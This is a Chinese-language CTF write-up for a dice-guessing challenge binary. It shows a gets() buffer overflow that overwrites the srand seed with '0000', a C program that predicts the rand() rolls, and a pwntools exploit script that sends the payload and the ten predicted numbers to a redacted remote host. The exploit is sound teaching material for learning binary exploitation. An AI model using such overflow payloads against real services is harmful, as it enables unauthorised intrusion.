1: file
2: checksec
3: 运行
4: ida伪代码
在用rand()函数产生随机数时一般用srand()初始化种子(seed)
rand函数调用
rand()函数每次调用前都会查询是否调用过srand(seed),是否给seed设定了一个值,如果有那么它会自动调用srand(seed)一次来初始化它的起始值
若之前没有调用srand(seed),那么系统会自动给seed赋初始值,即srand(1)自动调用它一次
rand()产生随机数时,如果用srand(seed)播下种子之后,一旦种子相同(下面的getpid方法),产生的随机数将是相同的。当然很多时候刻意让rand()产生的随机数随机化,用时间作种子 srand(time(NULL)),这样每次运行程序的时间肯定是不相同的,产生的随机数肯定就不一样了。
从上面伪代码的解析可知:关键在于10次循环,每一次输入的值v4得等于随机数v6(1~6之间)就可以进入sub_C3E函数得到flag
gets函数:的v7:
可知v7大小0x30-0x10=0x20,下面就是seed这个sedd大小我没从stack中看出,在伪代码中定义的seed是unsigned int seed[2];
大小为8个字节。
伪代码中srand用的是seed[0]所以如果能将seed[0]覆盖为以知就可以再写一个程序来得到rand的随机数(在linux中写)
得到随机数就能进入目标函数
尝试:
用0x20个字符填满v7后面加上0000,记住gets是将输入做当字符串,所以0000填满了seed[0]后因为seed是int型数据,里面的字符串以ASCII码存入会被直接解释为int数据即:0000的ASCII为0x30303030
所以seed的值为0x30303030,所以我们的代码seed值就是0x30303030:
#include<stdio.h>
#include<stdlib.h>
int main()
{
srand(0x30303030);
int i;
for(i=0;i<=9;i++){
printf("%d\n",rand()%6 + 1);
}
return 0;
}
结果:
所以我们payload = “A”*0x20 + “0000”:
确实如此!!!!
写exp:
rom pwn import*
context.log_level = 'debug'
sh = remote("***",***)
sh.recv()
payload = "A"*0x20 + "0000"
sh.sendline(payload)
sh.recv()
num = ["6","5","1","4","3","1","1","4","3","1"]
for i in range(10):
sh.sendline(num[i])
sh.recv()
本地测试: